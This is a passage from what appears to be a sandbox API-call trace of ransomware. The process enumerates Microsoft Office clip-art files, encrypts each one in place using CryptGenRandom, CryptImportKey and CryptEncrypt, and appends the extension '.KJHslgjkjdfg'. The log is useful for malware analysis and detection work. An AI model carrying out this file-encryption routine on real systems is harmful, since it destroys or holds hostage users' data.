dwReserved1=0x2e0000, cFileName="J0230553.WMF", cAlternateFileName="")) returned 1 [0180.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.618] GetProcessHeap () returned 0x2a0000 [0180.618] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.618] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.618] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.618] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0180.620] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.620] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.620] GetProcessHeap () returned 0x2a0000 [0180.621] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.621] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.621] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.621] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.621] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.621] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.621] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.621] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.621] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.621] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.621] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.621] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.622] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1daa, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1daa, lpOverlapped=0x0) returned 1 [0180.623] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1db0, dwBufLen=0x1db0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1db0) returned 1 [0180.623] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.623] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1db0, lpOverlapped=0x0) returned 1 [0180.623] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.623] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.623] SetEndOfFile (hFile=0x114) returned 1 [0180.626] GetProcessHeap () returned 0x2a0000 [0180.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.626] GetProcessHeap () returned 0x2a0000 [0180.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf.kjhslgjkjdfg")) returned 1 [0180.628] CloseHandle (hObject=0x114) returned 1 [0180.628] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1066, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0230558.WMF", cAlternateFileName="")) returned 1 [0180.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.629] GetProcessHeap () returned 0x2a0000 [0180.629] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.629] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.629] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0180.632] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.632] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.632] GetProcessHeap () returned 0x2a0000 [0180.632] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.632] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.632] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.632] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.633] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.633] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.633] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.633] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.633] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.633] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.633] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.633] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.633] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1066, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1066, lpOverlapped=0x0) returned 1 [0180.636] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1070, dwBufLen=0x1070 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1070) returned 1 [0180.636] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.636] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1070, lpOverlapped=0x0) returned 1 [0180.636] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.636] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.636] SetEndOfFile (hFile=0x114) returned 1 [0180.639] GetProcessHeap () returned 0x2a0000 [0180.639] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.639] GetProcessHeap () returned 0x2a0000 [0180.639] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf.kjhslgjkjdfg")) returned 1 [0180.641] CloseHandle (hObject=0x114) returned 1 [0180.641] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x332a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232171.WMF", cAlternateFileName="")) returned 1 [0180.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.643] GetProcessHeap () returned 0x2a0000 [0180.643] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.643] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.643] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0180.655] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.655] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.655] GetProcessHeap () returned 0x2a0000 [0180.655] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.655] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.655] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.656] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.656] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.656] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.656] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.656] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.656] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.656] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.656] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.656] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.656] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x332a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x332a, lpOverlapped=0x0) returned 1 [0180.657] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3330, dwBufLen=0x3330 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3330) returned 1 [0180.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.658] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3330, lpOverlapped=0x0) returned 1 [0180.658] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.658] SetEndOfFile (hFile=0x114) returned 1 [0180.662] GetProcessHeap () returned 0x2a0000 [0180.662] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.662] GetProcessHeap () returned 0x2a0000 [0180.662] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf.kjhslgjkjdfg")) returned 1 [0180.664] CloseHandle (hObject=0x114) returned 1 [0180.664] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d8c500, ftCreationTime.dwHighDateTime=0x1be1ff6, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22d8c500, ftLastWriteTime.dwHighDateTime=0x1be1ff6, nFileSizeHigh=0x0, nFileSizeLow=0x6bc2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232393.WMF", cAlternateFileName="")) returned 1 [0180.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.665] GetProcessHeap () returned 0x2a0000 [0180.665] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.665] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.665] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.665] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0180.679] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.679] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.679] GetProcessHeap () returned 0x2a0000 [0180.679] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.679] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.679] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.680] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.680] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.680] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.680] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.680] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.680] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.680] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.680] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6bc2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6bc2, lpOverlapped=0x0) returned 1 [0180.686] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6bd0, dwBufLen=0x6bd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6bd0) returned 1 [0180.686] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.687] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6bd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6bd0, lpOverlapped=0x0) returned 1 [0180.687] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.687] SetEndOfFile (hFile=0x114) returned 1 [0180.691] GetProcessHeap () returned 0x2a0000 [0180.691] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.691] GetProcessHeap () returned 0x2a0000 [0180.691] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf.kjhslgjkjdfg")) returned 1 [0180.706] CloseHandle (hObject=0x114) returned 1 [0180.707] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa1c300, ftCreationTime.dwHighDateTime=0x1be1ff5, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaa1c300, ftLastWriteTime.dwHighDateTime=0x1be1ff5, nFileSizeHigh=0x0, nFileSizeLow=0xa086, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232395.WMF", cAlternateFileName="")) returned 1 [0180.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.709] GetProcessHeap () returned 0x2a0000 [0180.709] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.709] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.709] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.709] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0180.712] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.712] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.712] GetProcessHeap () returned 0x2a0000 [0180.712] RtlAllocateHeap 